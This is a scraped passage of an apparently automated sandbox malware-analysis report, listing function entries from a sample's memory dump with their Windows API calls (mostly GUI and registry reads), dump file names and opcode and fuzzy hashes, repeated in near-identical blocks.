MulDiv.KERNEL32(?,00000000,00000000), ref: 004986F5
MulDiv.KERNEL32(?,00000000,00000000), ref: 00498710

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ViewportWindow
String ID:
API String ID: 1589084482-0
Opcode ID: 4f04607972d1f9a8e88e5859802dcdd4d67cbaf906f8461cde7970c776e9bd2d
Instruction ID: abd8330c472e21c612a4b224d23950da65bd0abb19d7290729a875e6d6b16414
Opcode Fuzzy Hash: 4f04607972d1f9a8e88e5859802dcdd4d67cbaf906f8461cde7970c776e9bd2d
Instruction Fuzzy Hash: 69F08C72400109FFEB007F65EC06CBEBBBDEF80710B11482AF965A2530EB71AE509B58

Function 0043C400 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 0043C40F
PtInRect.USER32(?,?,?), ref: 0043C424

Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160

Part of subcall function 0043C840: UpdateWindow.USER32(00000002), ref: 0043C85D

GetCapture.USER32 ref: 0043C44C
SetCapture.USER32(00000002), ref: 0043C457

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CaptureRectWindow$ClientEnabledUpdate
String ID:
API String ID: 2789096292-0
Opcode ID: 839c28d07cdfab4fc520ab250957ed5f3ec5dee33c4b1754a5693c970e0f32ea
Instruction ID: e18fdb337bfaf3ab6581748974553a893713c87da8d40461147c8d4e6596f221
Opcode Fuzzy Hash: 839c28d07cdfab4fc520ab250957ed5f3ec5dee33c4b1754a5693c970e0f32ea
Instruction Fuzzy Hash: AFF0AF712002116BD714AB28DC9596B7BA8AF58B00F04481EF441D3250EB38E9048BA9

Function 00412870 Relevance: 6.0, APIs: 4, Instructions: 35registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000001,00000000,00000000), ref: 0041288A
RegQueryValueA.ADVAPI32 ref: 004128AE
lstrcpyA.KERNEL32(?,00000000), ref: 004128C1
RegCloseKey.ADVAPI32(?), ref: 004128CC

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CloseOpenQueryValuelstrcpy
String ID:
API String ID: 534897748-0
Opcode ID: 420135428c49cdf00416e936291b2df558585efd5c216229b6cd88f576885919
Instruction ID: c43697c541c0d419bf0b549be9f70a595b2e4789dd025e7432c4b56d5318cd2b
Opcode Fuzzy Hash: 420135428c49cdf00416e936291b2df558585efd5c216229b6cd88f576885919
Instruction Fuzzy Hash: 0BF04F79108315BFD320DB10DC88EABBBA8FB85754F008A1DB98982260D674D884CBA2

Function 004992FA Relevance: 6.0, APIs: 4, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00499307
GetWindowTextA.USER32(?,?,00000100), ref: 00499323
lstrcmpA.KERNEL32(?,?), ref: 00499337
SetWindowTextA.USER32(?,?), ref: 00499347

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 2255fff6c8465e6476571f94820f71dd7c755f5f2bc31c2f3373296a9cd0955c
Instruction ID: a893478e74b21878f4e38d782f115c60d28c2f421c16e7f3477fb35d876e5176
Opcode Fuzzy Hash: 2255fff6c8465e6476571f94820f71dd7c755f5f2bc31c2f3373296a9cd0955c
Instruction Fuzzy Hash: 76F0F836400018ABCF226FA5DC48ADA7F6DEB19390F048076FC56E5260D774DE959B98

Function 0041C2F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

<, xrefs: 0041C67A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 2096d5c41b129d78a0361406383e135f1b3241ee88d8c3d2e92c4403914be6ad
Instruction ID: 8b8396d1a8a2beb1ac0f3ac3e37c34269c73e10d9588a4b3f07ccf747ee4f8b9
Opcode Fuzzy Hash: 2096d5c41b129d78a0361406383e135f1b3241ee88d8c3d2e92c4403914be6ad
Instruction Fuzzy Hash: 27B191715487418BC724CF28C890AABB7E1BBC4714F158A2EF49AD7281DB38D9498B96

Function 004809A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00480A32

Strings

pow, xrefs: 00480A0A, 00480A27

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 73735dea691cb9537018dc8324d496574da30198e25420151f2528b7d8129908
Instruction ID: 969502659b2e9eb03ba7ebc76f93542d8b8bc78dd21eca62d6effdf2693e5bd8
Opcode Fuzzy Hash: 73735dea691cb9537018dc8324d496574da30198e25420151f2528b7d8129908
Instruction Fuzzy Hash: 4C515A60A1920587DBD57B18D90137F2B94DB20714F218D6FE4DA423A9EB3C8CDD978E

Function 00427830 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 004278C5
CreateAcceleratorTableA.USER32(00000000,00000000,?,?,00000000,0049E2D8,000000FF,0041CCFC,00000000,?,00000000,00000000,000000FF,00000000,?,?), ref: 00427983

Strings

PjJ, xrefs: 004278C1, 004278EA

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Create$AcceleratorMenuTable
String ID: PjJ
API String ID: 2356407203-2598820865
Opcode ID: bd8dcbc1bee4c2023794b2bc1975cd0728bf88f84e777b3f0633002d5d26e6a7
Instruction ID: 49b7df47a03bb0df53c95c282ef9d23f00887dd5c595dadc5e460e84f50742c6
Opcode Fuzzy Hash: bd8dcbc1bee4c2023794b2bc1975cd0728bf88f84e777b3f0633002d5d26e6a7
Instruction Fuzzy Hash: 2341DFB12083119BD310DF18E881B2BB7F8EF85714F85092EF89597391E379E944CB9A

Function 0048511A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 0048512E

Strings

, xrefs: 00485177
, xrefs: 00485153

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: dd2952875fad0b3aca1c7980c1a68a6047b7aa7d2d50757fbc57f9c0bbeec37a
Instruction ID: c948cfa3850fe51b0cd07b2a4597535db3dfe5215f0c84272a5c2beabb91732a
Opcode Fuzzy Hash: dd2952875fad0b3aca1c7980c1a68a6047b7aa7d2d50757fbc57f9c0bbeec37a
Instruction Fuzzy Hash: 11417A31404A582FDB16E724DD8ABFF7F99AB02704F140CE6E549CB252C6394948DFAB

Function 00408AE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

@J, xrefs: 00408B5B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: @J
API String ID: 0-2185327383
Opcode ID: d468fcfc7c77bf2bdc1ebf555f640591051cccd28cbfffe20224c51834354d6d
Instruction ID: 248c0bf79c9416a68fb9c0ac79e300fa45ed4c4262d2f8dfd63a9b572dc94755
Opcode Fuzzy Hash: d468fcfc7c77bf2bdc1ebf555f640591051cccd28cbfffe20224c51834354d6d
Instruction Fuzzy Hash: 8941A3B45146008FC314DF1CC55169BBBE0AF88304FA5C8AEE489D7362D73ED806CB99

Function 004088F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

@J, xrefs: 00408962

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: @J
API String ID: 0-2185327383
Opcode ID: bd73219ce218636f69f7756dd75b45e431b09bf8ed8373cf69f04d6e14bca7ec
Instruction ID: fb1b96662d5547cca815fe47ecd2737aa8ecc6630fd2420de139332512259b90
Opcode Fuzzy Hash: bd73219ce218636f69f7756dd75b45e431b09bf8ed8373cf69f04d6e14bca7ec
Instruction Fuzzy Hash: 7F31E0B41542128BC718FF18C5515AFB7E4AB88310FE44CAFE8C993362D67DD845CB8A

Function 00416100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

IsRectEmpty.USER32(?), ref: 0041615A

Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2

FillRect.USER32(?,?,00000000), ref: 00416187

Strings

\[J, xrefs: 00416195

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: H_prologRect$BeginBrushClipCreateEmptyFillPaintSolid
String ID: \[J
API String ID: 3827101677-1436623575
Opcode ID: b28e08834df294105aa028767e51f70efb30bff50a8b8c4129ab3f16ad5d2646
Instruction ID: 87fe66c697a9eb69a16b91b56aaa88807dc2a0f121791fac01cae7f00f5236bf
Opcode Fuzzy Hash: b28e08834df294105aa028767e51f70efb30bff50a8b8c4129ab3f16ad5d2646
Instruction Fuzzy Hash: D631AF711087419FD714EB24C941BABBBE4BF99704F10892EF5A6432A1DB7CD908CB56

Function 004741C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

__ftol.LIBCMT ref: 0047422B
__ftol.LIBCMT ref: 0047428E

Strings

xcL, xrefs: 004741D2

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: __ftol
String ID: xcL
API String ID: 495808979-2484720933
Opcode ID: 98ac87c2d837a3f4c9b1cb7a6fab4eb95a4f25328816d4ba95f34dc23e6746e8
Instruction ID: abe6be23ac70f74f04f5b3beeac19cac773ca5fe83fa68ca6a637e8e5d2c9b4d
Opcode Fuzzy Hash: 98ac87c2d837a3f4c9b1cb7a6fab4eb95a4f25328816d4ba95f34dc23e6746e8
Instruction Fuzzy Hash: 6E213AB18003118BD300DF14DC042BA7BE4FBD1354F424476E68893222D778A9A9C79A

Function 00494389 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0049C5AC: LeaveCriticalSection.KERNEL32(?,0049B91A,00000010,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049C5C4

Part of subcall function 004836EC: RaiseException.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,004808BA,00000000), ref: 0048371A

wsprintfA.USER32 ref: 004943CF
wsprintfA.USER32 ref: 004943EB
GetClassInfoA.USER32(?,-00000058,?), ref: 004943FA

Strings

Afx:%x:%x, xrefs: 004943C9

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf$ClassCriticalExceptionInfoLeaveRaiseSection
String ID: Afx:%x:%x
API String ID: 2529146597-2071556601
Opcode ID: 28d19bfa81e393cc367471fbb5da6d8caa2db419c2652f5bbdecc9eb1e96a2fe
Instruction ID: ca7f4224f69aa75308a931f2188c3df8ad0669337a4bf6877552edede218e7f5
Opcode Fuzzy Hash: 28d19bfa81e393cc367471fbb5da6d8caa2db419c2652f5bbdecc9eb1e96a2fe
